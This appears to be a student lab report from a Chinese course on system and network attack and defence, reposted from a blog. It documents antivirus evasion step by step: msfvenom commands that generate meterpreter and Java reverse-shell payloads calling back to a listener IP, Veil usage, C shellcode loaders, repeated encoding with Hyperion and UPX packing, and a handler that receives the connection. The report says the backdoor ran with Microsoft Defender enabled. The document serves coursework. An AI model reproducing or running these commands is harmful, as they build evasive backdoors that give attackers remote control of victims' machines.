• 20192416《系统与网络攻防技术》实验三实验报告


    一、实践内容

    (1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    veil,加壳工具
    使用C + shellcode编程

    (2)通过组合应用各种技术实现恶意代码免杀

    如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

    (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    二、实验要求

    掌握免杀原理与技术

    回答问题

    (1)杀软是如何检测出恶意代码的?

    可以通过对可执行文件中包含的特征码进行检测
    可以通过监视程序的非法行为进行判断

    (2)免杀是做什么?

    免杀是用来使恶意代码免于杀毒软件的查杀的一项技术。主要是通过修改恶意代码的特征码实现的。

    (3)免杀的基本方法有哪些?

    三、实验过程

    3.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    首先用VirusTotal对后门程序进行检测,检出率为54/69

    3.1.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.53 LPORT=2416 -f exe > 20192416code1.exe
    # 使用
    
    msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.31.53 LPORT=2416 -f exe > 20192416code2.exe
    # 
    
    msfvenom -p java/shell_reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f jar > 20192416.jar
    # 生成jar文件
    
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f raw > 20192416.php
    # 生成php文件
    




    3.1.2 veil,加壳工具

    在终端中输入代码以生成后门程序

    veil
    use evasion
    use c/meterpreter/rev_tcp.py
    set LHOST 192.168.31.53
    set LPORT 2416
    generate
    
    

    3.1.3 使用C + shellcode编程

    以C语言格式输出shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.53 LPORT=2416 -f c > 20192416.c
    

    给刚才生成的C程序添加主函数

    cat >>20192416.c<<EOF
    int main(){
    	int (*func)() = (int(*)())buf;
    	func();
    }
    EOF
    
    

    生成可执行程序

    i686-w64-mingw32-gcc 20192416.c -o 20192416.exe
    

    3.2通过组合应用各种技术实现恶意代码免杀

    多次编码+C源代码+加壳

    # 生成C文件
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.31.54 LPORT=2416 -f c > 20192416.c
    
    # 添加主函数
    cat >>20192416.c<<EOF
    int main(){
    
    
    	int (*func)() = (int(*)())buf;
    	func();
    }
    EOF
    
    # 生成可执行程序
    i686-w64-mingw32-gcc 20192416.c -o 20192416.exe
    
    # 给程序加上一层加密壳
    wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20192416.exe 20192416.hyed.exe
    
    # 使用upx给程序加上一层压缩壳
    upx 20192416.hyed.exe -o 20192416.upxed.exe
    

    3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功

    在虚拟机上输入命令 msfconsole 打开msf控制台

    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_tcp 
    set LHOST 192.168.43.44 
    set LPORT 2416
    exploit
    

    主机上运行后门程序,此时虚拟机即可获得主机的控制台

    杀软使用的是系统自带的Microsoft Defender

    四、问题及解决方案

    1.veil安装出现问题

    解决方案:

    vim /usr/share/veil/config/setup.sh
    

    将260行的地址改为:https://gitee.com/githubren/VeilDependencies.git
    重启虚拟机,反复尝试。

    2.加壳时报错



    解决方案:
    无法解析ip:先在终端上输入ifconfig找到本系统的ip,然后在/etc/hosts里面添加末尾 “ip号 hostname“
    不能打开文件:使用命令su -在root模式下运行即可解决后两行报错

    五、学习感悟、思考等

    本次实验流程并不长,但在过程中常常会遇到各种各样的问题。在最后一步的使用组合技术实现免杀时,我发现使用加壳工具有时可能会增加检测率,结合视频学习中老师曾经讲过,可能是我们使用的加壳软件被查杀软件列入了黑名单。此次实验的大部分时间都在解决报错上,极大地锻炼了我解决问题的能力。希望在接下来的实验中能够学到更多东西。

  • 相关阅读:
    html
    头部标签
    ajax
    分辨率
    js 运动基础
    js DOM
    js定时器
    js数组
    js基础
    例子:js简易日历
  • 原文地址:https://www.cnblogs.com/hantaku/p/16126278.html
Copyright © 2020-2023  润新知